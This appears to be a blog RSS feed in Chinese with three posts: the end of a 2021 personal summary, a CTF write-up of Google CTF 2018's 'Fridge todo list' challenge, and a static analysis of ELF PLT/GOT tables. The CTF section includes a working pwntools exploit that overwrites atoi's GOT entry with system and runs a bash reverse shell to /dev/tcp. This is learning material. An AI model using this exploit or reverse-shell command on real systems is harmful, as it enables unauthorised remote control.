今年和去年一样,未获得任何证书。

年份 证书数量
2018 2
2019 1
2020 0
2021 0

其他

除了上述内容,2021 年我在业余时间还干了以下事情:

  • 投入 54 小时练习五笔输入法。原本已经达到了相当的熟练度,最后还是放弃了,有点可惜,希望将来哪天能捡起来;
  • 投入 3 个多小时练习普通话,掌握了 “yun” 的发音。在此之前,我发不出 “yun” 这个音,“白云”会被我读成“白yóng”。当我向一位大学时没少因此嘲笑我的同学正确读出“风起云涌”这个词时,她非常吃惊,并问我:“你是舌头去做了手术吗?”
  • 看了一些电影和动画片;

总结

回顾今年,总体上挺满意的。虽然好像浪费了三分之二的时间,但还是有好好使用剩下的三分之一的时间,这就很不错了。不能对自己要求太高。要求若是太高,就很容易实现不了,还搞得自己即焦虑又沮丧。

关于明年,我没啥想法。我这个人向来目光短浅,从来都是走一步看一步。也没啥愿望,许愿无助于愿望的实现。就这样吧。

]]>
https://blog.werner.wiki/2021-annual-summary/feed/ 2
CTF Pwn 题目 Fridge todo list 解题记录 https://blog.werner.wiki/fridge-todo-list-write-up/ https://blog.werner.wiki/fridge-todo-list-write-up/#respond Sun, 12 Sep 2021 03:13:53 +0000 https://blog.werner.wiki/?p=2239 这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

]]>
https://blog.werner.wiki/fridge-todo-list-write-up/feed/ 0
ELF 文件 PLT 和 GOT 静态分析 https://blog.werner.wiki/elf-plt-got-static-analysis/ https://blog.werner.wiki/elf-plt-got-static-analysis/#respond Sun, 05 Sep 2021 03:53:36 +0000 https://blog.werner.wiki/?p=2231 摘要

本文将对一个特意构造的、十分简单的、64 位的 ELF 文件的 PLT(Procedure Linkage Table)和 GOT(Global Offset Table)进行静态分析。目的是

  • 验证所学的关于 PLT 和 GOT 的相关知识
  • 加深对所学知识的理解和记忆
  • 记录分析时用到的命令以备忘

背景知识

关于什么是 PLT 和 GOT,可阅读海枫发表于 2016 年 6~7 月的系列文章

准备 ELF 文件

准备一个简单的 ELF 文件,源码如下所示

/* test.c */
#include <stdio.h>

int main() {
    int integer;
    printf("Enter an integer: ");
    scanf("%d", &integer);  
    printf("Number = %d\n", integer);
    return 0;
}

这段代码中 printf 和 scranf 这两个函数需要在运行时确定函数地址,即需用到 PLT 和 GOT。

用如下命令编译

gcc test.c -z norelro -fno-stack-protector -o test

简单起见,使用 gcc 选项 -z norelro 关闭了 RELRO,-fno-stack-protector 关闭了 CANNARY。

查看编译出的可执行文件

$ file test
test: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=779ce5dad37fc44d6106c16adae2c7557d775101, not stripped

试运行

$ ./test
Enter an integer: 1
Number = 1

查看 ELF 所有段

使用 readelf 命令可例出一个 ELF 文件的所有段。选项 --section-headers(可简写为 -S)的含义是 Display the sections' header--wide(可简写为 -W)的含义是 Allow output width to exceed 80 characters

$ readelf --section-headers --wide test
There are 30 section headers, starting at offset 0x1490:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000000200 000200 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            000000000000021c 00021c 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            000000000000023c 00023c 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000260 000260 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000280 000280 0000c0 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000000340 000340 00009d 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          00000000000003de 0003de 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000000003f0 0003f0 000030 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000420 000420 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            00000000000004e0 0004e0 000030 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000000510 000510 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000000530 000530 000030 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000000560 000560 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000000570 000570 0001d2 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000000744 000744 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000000750 000750 000027 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000000778 000778 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000000000007b8 0007b8 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      00000000002008c0 0008c0 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      00000000002008c8 0008c8 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         00000000002008d0 0008d0 0001f0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000200ac0 000ac0 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000200ae8 000ae8 000028 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000200b10 000b10 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000200b20 000b20 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 000b20 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 000b50 000618 18     28  44  8
  [28] .strtab           STRTAB          0000000000000000 001168 00021e 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 001386 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

其中与 PLT 和 GOT 有关的段是 .plt 和 .got.plt。下面我们将查看并分析这两个段的内容。此外还注意到 .dynamic 段的地址是 0x00000000002008d0,后文有相关内容。

.plt 段

PLT 中的每一项都是一小段代码,所以使用 objdump 命令查看 .plt 段的内容时添加反汇编参数。选项 --disassemble(可简写为 -d)的含义是 Display assembler contents of executable sections--full-contents(可简写为 -s)的含义是 Display the full contents of all sections requested--section(可简写为 -j)的含义是 Display information only for section name

$ objdump --disassemble --full-contents --section=.plt test

test:     file format elf64-x86-64

Contents of section .plt:
 0530 ff35ba05 2000ff25 bc052000 0f1f4000  .5.. ..%.. ...@.
 0540 ff25ba05 20006800 000000e9 e0ffffff  .%.. .h.........
 0550 ff25b205 20006801 000000e9 d0ffffff  .%.. .h.........

Disassembly of section .plt:

0000000000000530 <.plt>:
 530:   ff 35 ba 05 20 00       pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:   ff 25 bc 05 20 00       jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000000540 <printf@plt>:
 540:   ff 25 ba 05 20 00       jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:   68 00 00 00 00          pushq  $0x0
 54b:   e9 e0 ff ff ff          jmpq   530 <.plt>

0000000000000550 <__isoc99_scanf@plt>:
 550:   ff 25 b2 05 20 00       jmpq   *0x2005b2(%rip)        # 200b08 <__isoc99_scanf@GLIBC_2.7>
 556:   68 01 00 00 00          pushq  $0x1
 55b:   e9 d0 ff ff ff          jmpq   530 <.plt>

可以看到共有 3 个 PLT 表项,第 0 个表项(.plt)是共公 plt 表项,第 1 个表项(printf@plt)是 printf 函数对应的 PLT 表项,第 2 个表项(__isoc99_scanf@plt)是 scanf 函数对应的 PLT 表项。

.got.plt 段

GOT 的每一项都是一个地址,因此不用进行反汇编。同样使用 objdump 命令查看。

$ objdump --full-contents --section=.got.plt test

test:     file format elf64-x86-64

Contents of section .got.plt:
 200ae8 d0082000 00000000 00000000 00000000  .. .............
 200af8 00000000 00000000 46050000 00000000  ........F.......
 200b08 56050000 00000000                    V.......

64 位系统中地址长度是 64 比特,也就是 8 字节。按 8 字节一项并调整字节序后可得 GOT 的内容是

第几项 地址 内容 备注
0 0x200ae8 0x00000000002008d0 .dynamic 段地址
1 0x200af0 0x0000000000000000 本镜像的link_map数据结构地址,未运行无法确定,故以全 0 填充
2 0x200af8 0x0000000000000000 _dl_runtime_resolve 函数地址,未运行无法确定,故以全 0 填充
3 0x200b00 0x0000000000000546 printf 对应的 GOT 表项,内容是 printf 的 PLT 表项地址加 6
4 0x200b08 0x0000000000000556 scanf 对应的 GOT 表项,内容是 scanf 的 PLT 表项地址加 6

分析

以 printf 函数为例,分析 PLT 和 GOT 的工作过程。

反汇编 main 函数(以下命令输出删除了无关内容)

$ objdump --disassemble --full-contents --section=.text test

000000000000067a <main>:
 67a:   55                      push   %rbp
 67b:   48 89 e5                mov    %rsp,%rbp
 67e:   48 83 ec 10             sub    $0x10,%rsp
 682:   48 8d 3d cb 00 00 00    lea    0xcb(%rip),%rdi        # 754 <_IO_stdin_used+0x4>
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   e8 ad fe ff ff          callq  540 <printf@plt>
 693:   48 8d 45 fc             lea    -0x4(%rbp),%rax
 697:   48 89 c6                mov    %rax,%rsi
 69a:   48 8d 3d c6 00 00 00    lea    0xc6(%rip),%rdi        # 767 <_IO_stdin_used+0x17>
 6a1:   b8 00 00 00 00          mov    $0x0,%eax
 6a6:   e8 a5 fe ff ff          callq  550 <__isoc99_scanf@plt>
 6ab:   8b 45 fc                mov    -0x4(%rbp),%eax
 6ae:   89 c6                   mov    %eax,%esi
 6b0:   48 8d 3d b3 00 00 00    lea    0xb3(%rip),%rdi        # 76a <_IO_stdin_used+0x1a>
 6b7:   b8 00 00 00 00          mov    $0x0,%eax
 6bc:   e8 7f fe ff ff          callq  540 <printf@plt>
 6c1:   b8 00 00 00 00          mov    $0x0,%eax
 6c6:   c9                      leaveq 
 6c7:   c3                      retq   
 6c8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
 6cf:   00

看到 main 函数调用 printf 函数的指令是 callq 540,0x540 正是 printf 函数的 PLT 表项的地址。反汇编结果里的 <printf@plt> 也明确地指出了这一点。

0x540 地址开始的几条指令是

 540:    ff 25 ba 05 20 00        jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:    68 00 00 00 00           pushq  $0x0
 54b:    e9 e0 ff ff ff           jmpq   530 <.plt>

看到它跳转到了 0x2005ba(%rip) 指向的地址,0x2005ba(%rip) 的内容在反汇编结果的注释中给出了,是 0x200b00。0x200b00 正是 printf 函数的 GOT 表项的地址,其内容是 0x0000000000000546,这个地址实际上是 printf 的 PLT 表项地址加 6。可见 0x540 处的 jmpq 指令实际上跳到了 0x546 处,相当于没有跳转。0x546 处的 pushq 指令将 0x00 压栈,可以理解为接下来要调用的函数的参数。接着 0x54b 处的 jmpq 指令跳转到了 0x530 即 PLT 表的第 0 项。

0x530 地址开始的几条指令是

 530:    ff 35 ba 05 20 00        pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:    ff 25 bc 05 20 00        jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:    0f 1f 40 00              nopl   0x0(%rax)

先是把 0x200af0 即 GOT 表的第 1 项压栈,接着跳转到 0x200af8 即 GOT 表的第 2 项亦即 _dl_runtime_resolve 函数,解析 pritnf 函数真正的地址。之后会执行 pritnf,并将 pritnf 函数真正的地址写到 printf 对应的 GOT 表项中。这样下次调用 ptinf 函数时 0x540 处的 jmpq 指令会直接跳转到 pritnf 函数真正的地址,不用再调用 _dl_runtime_resolve。

]]>
https://blog.werner.wiki/elf-plt-got-static-analysis/feed/ 0